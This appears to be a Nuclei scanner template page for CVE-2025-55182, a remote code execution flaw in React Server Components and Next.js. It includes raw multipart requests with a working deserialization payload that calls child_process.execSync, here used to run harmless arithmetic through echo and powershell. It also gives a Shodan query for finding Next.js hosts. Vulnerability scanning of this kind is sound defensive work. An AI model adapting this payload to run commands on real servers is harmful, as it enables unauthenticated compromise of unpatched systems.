React Server Components - Remote Code Execution

CVE-2025-55182
Early Release

Description

React Server Components 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack contain a remote code execution caused by unsafe deserialization of payloads from HTTP requests to Server Function endpoints, letting unauthenticated attackers execute arbitrary code remotely, exploit requires no authentication.

Severity

Critical

Published Date

December 4, 2025

Template Author

dhiyaneshdk, princechaddha, assetnote
+3

CVE-2025-55182.yaml
id: CVE-2025-55182

info:
  name: React Server Components - Remote Code Execution
  author: DhiyaneshDk,princechaddha,assetnote,lachlan2k,maple3142,iamnooob
  severity: critical
  description: |
    React Server Components 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including react-server-dom-parcel,
    react-server-dom-turbopack, and react-server-dom-webpack contain a remote code execution caused
    by unsafe deserialization of payloads from HTTP requests to Server Function endpoints, letting
    unauthenticated attackers execute arbitrary code remotely, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can execute arbitrary code remotely, potentially leading to full system compromise.
  remediation: |
    Update to the latest version that fixes the unsafe deserialization issue.
  reference:
    - https://github.com/assetnote/react2shell-scanner
    - https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
    - https://www.facebook.com/security/advisories/cve-2025-55182
    - http://www.openwall.com/lists/oss-security/2025/12/03/4
    - https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
    - https://github.com/vercel/next.js/security/advisories/GHSA-9qr9-h5gf-34mp
    - https://vercel.com/changelog/cve-2025-55182
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.component:"Next.js"
  tags: cve,cve2025,react,rce,nextjs,oast

variables:
  request-id: "{{to_lower(rand_text_alphanumeric(8))}}"
  nextjs-html: "{{rand_text_alphanumeric(21)}}"
  num1: "{{rand_int(40000, 44800)}}"
  num2: "{{rand_int(40000, 44800)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

http:
  - raw:
      - |
        @timeout 15s
        POST / HTTP/1.1
        Host: {{Hostname}}
        Next-Action: x
        X-Nextjs-Request-Id: {{request-id}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
        X-Nextjs-Html-Request-Id: {{nextjs-html}}

        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="0"

        {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $(({{num1}}*{{num2}}))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="1"

        "$@0"
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="2"

        []
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

      - |
        @timeout 15s
        POST / HTTP/1.1
        Host: {{Hostname}}
        Next-Action: x
        X-Nextjs-Request-Id: {{request-id}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
        X-Nextjs-Html-Request-Id: {{nextjs-html}}

        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="0"

        {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('powershell -c \"{{num1}}*{{num2}}\"').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="1"

        "$@0"
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="2"

        []
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - "contains(to_lower(header), 'x-action-redirect: /login?a={{result}}')"
# digest: 4a0a00473045022100d5837bd96d2c6361c19fa39a5014621e01f44659acdafbf8924f8d028405d5610220787fcafb8a4465ba3aa6eeabad0b08093275d0135ed49c187fefb369c53384ef:922c64590222798bb761d5b6d8e72950